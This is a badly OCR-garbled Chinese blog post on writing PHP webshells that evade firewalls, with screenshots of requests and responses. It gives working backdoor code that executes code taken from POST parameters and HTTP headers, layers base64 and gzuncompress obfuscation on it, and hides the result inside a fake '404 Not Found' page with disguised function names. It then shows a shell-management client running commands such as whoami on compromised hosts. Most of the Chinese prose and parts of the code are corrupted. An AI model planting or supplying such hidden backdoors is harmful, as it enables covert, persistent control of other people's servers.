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BREFE , wafbifl, MSEM—DECEHREFERESAIAR (scriptkids) IKET . BHA
eval($_POSTIxX))EEIlowiR T , SRERESHHIZING ~ ~

0x01, &ZH—
HAEDEphpsiSHREBRERR , IPAMRBRT , B —FE -

1 <?php $_POST['xx"']($_POST['00"]);?>

EFRxxSEIgEMevalEAMTHIE | IERAIIRERRER :

http://localhost/11.php

Enable Post data ' Enable Referrer

xx=assert&oo=phpinfo()

0x02, ZHEZ

KFRRTIRT  BRRERpost—LEFRENGFA , ARIUERIAWaftb RZIZEIRAIN, 1FIFFR
IR LAEBEXIN |, BfiIARpostT , getallheadersREEEEIRBUERLAS | StidHHRMK

1 <?php eval(getallheaders()[ 'Accept-Language']);>
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
GET /1ll.php HTTP/1.1 ‘A
Host: localhost

Accept-Language:phpinfo();
Content-Length: 4

PHP Version 5.6.27

SMTPERIRBEIXEE |, BHRER , MELFSEF—R=T. . .

1 <?php $a=getallheaders()['xxx"'];$a(getallheaders()['ococ0']);>
Request Response
J Raw T Params T Headers T Hex ] Raw | Headers T Hex T HTML T Render ]
GET /11.php HTTP/1.1
Host: localhost

T

coo:phpinfo();
XxX:iassert
Content-Length: 4

PHP Version ¢

0x03, &EH=
BEI—RRAIwafalgE_ENEHEFAE bypassT |, (BREARSE —LRAERAIwafStE N httpiERLEBHNS ,
BIIERMABELAREEX NI EAST , IREBAIATTEE
TEMEEREHITRE. B, EERIEIR
Ail5chsshell :

StiBE| T base64 , EIRBIRIARIREAEE!
HIRBEREgzuncompressflgzcompressRE , IEARS

1 <?php eval(gzuncompress(base64_decode(getallheaders()['xx"']1)));>

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]

GET /11.php HTTP/1.1

Host: localhost

XX :eJwryCjIzEvL19COBgAVXAOB
Content-Length: 4

T

PHP Version 5.6.27

http headersBIEEAIXXFEREFC K G base649whs ( HLftiiiRbase64dmis ) , (BEREFZEAEIMIZENG |

wafiRBIAHREERIAS |, IRIREAEEIRIE, . NRFERERRABIRI , BBAKIE , BEfRHEE :

1 <?php $xx=gzuncompress(base64 _decode(getallheaders()['xx"']));$xx(gzuncompress(base64 _dec

4
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0x04, ZE¥HM

BRUALE , X shel FTEEETREPELTEHSI T  (ERERRLEZEEAIRN , ERNS/NEX 6
REEIRRYshell , —i&ﬁ'/z_\;é;%E’\JbaSe64@%ﬁ*ﬂﬁ?ﬂf%’ﬁﬂmﬁﬁfﬁﬁ’ﬂgzuncompressl%liﬂl , BEERF
—RHRAEMEH TR , XEHERFEE(EE(RRIshell , (h3ER404RNURELE£MEE AT HIEEER R
shellBFHHIRIZASAEN AINttp headerSEphpiRis , FIBINLifFIET , STEAIshelldlT :

1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

2 <html><head>

3 <title>404 Not Found</title>

4  </head><body>

5 <h1>Not Found</h1>

6 <p>The requested URL was not found on this server.</p>
7

8

9
10 <?php
11  $xx=getallheaders()['xx"'];
12 $oo=getallheaders()['oo'];
13 if($xx!="" and $oo!=""){
14 $xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(baseb64_decode($00)));
15}
16 >
17  </body></html>

s Load URL http://localhost/11.php
% split URL

4 Execute

 Enable Postdata  Enable Referrer

Not Found

The requested URL was not found on this server.

0x05, ZFHH
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KE—NMEMNERI—DIEEFIRIE. NMIEX R IREBULSHTE(IRshell | FEEIHSEIRRR . B0

SCH., &

W 00 N O VLT »h W N

NN NNR R R R R R R R R R
W N R O® WVWOWOWNOOUUMWNIRO

AhRAIshellZ0F -

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p><?php
//ZUp4ATHFyVH15eS9LVGN5ckF3QVZGZ1Av;

$errore="404 not_found";

$errorl="400_not_found";

$error2="302_not_found";

$_="\x6d\x64\x35";
$__=%_($_.%_.%.);
$header_errors=chr(103).substr($__,14,1)."t".chr(97)."11h".substr($__,14,1)."aders";

$base_errors=chr(98)."\x61".chr(115).substr($__,14,1)."6"."\x34"."_".chr(100)."\x65"."c
$gz_errors="\x67\x7a".chr(117).chr(110)."com"."\x70\x72\x65\x73\x73";
if($header_errors()[$errorl]!="" and $header_errors()[$error2]!=""){

echo $errore;
$error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));%error($gz_err
echo $erroro;}>

</body></html>

HBERHEILAN ENEBNEFNTERIN T RIS |, Bbase64. gzuncompressEIXLEREERATT 7 aISA
&, FEEXEERY , BIMTHSRIEDRIE—Xechoif{Tiad , XFTERHER(IIN—aEZ P IHTEABER
SEsEN NS T BIENEEEERNTER | MARS 7 —EHBIhtmIZEA9RBRNE.
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= | "=riwm "8 python biubiuibiu.py
DINGIE 3 SR

passwd:

the database is normal
the db_tables is normal
This is the main menus,input your command,hava fun!

just this.

list all your shells.
test shell is live
add a new shell.

del a existing shell.
exit biubiubiu.
connect shell.

biubiubiu:conn
this is your shell list:

http://127.0.0.1/1.php
http://localhost/2.php
http://127.0.0.1/2.php
http://127.0.0.1/2.php

input id to connect shell:1

shell:system('whoami')

_WWw

shell:system('ifconfig')

1o@: flags=8@49<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
options=1203<RXCSUM, TXCSUM, TXSTATUS , SW_TIMESTAMP>
inet 127.0.0.1 netmask Oxff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo@ prefixlen 64 scopeid 0Ox1
nd6 options=201<PERFORMNUD,DAD>

gif@: flags=8010<POINTOPOINT,MULTICAST> mtu 1280

stf@: flags=0<> mtu 1280

en@. flaas=8863<1IP_BROADCAST SMART RUNNTNG _STMPLEX MUILTTCAST> mtu 1500

ps : EFIRERIRE T MMER , BHEHMTER I ERMEEARITH.
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#%zx  #Shell #php
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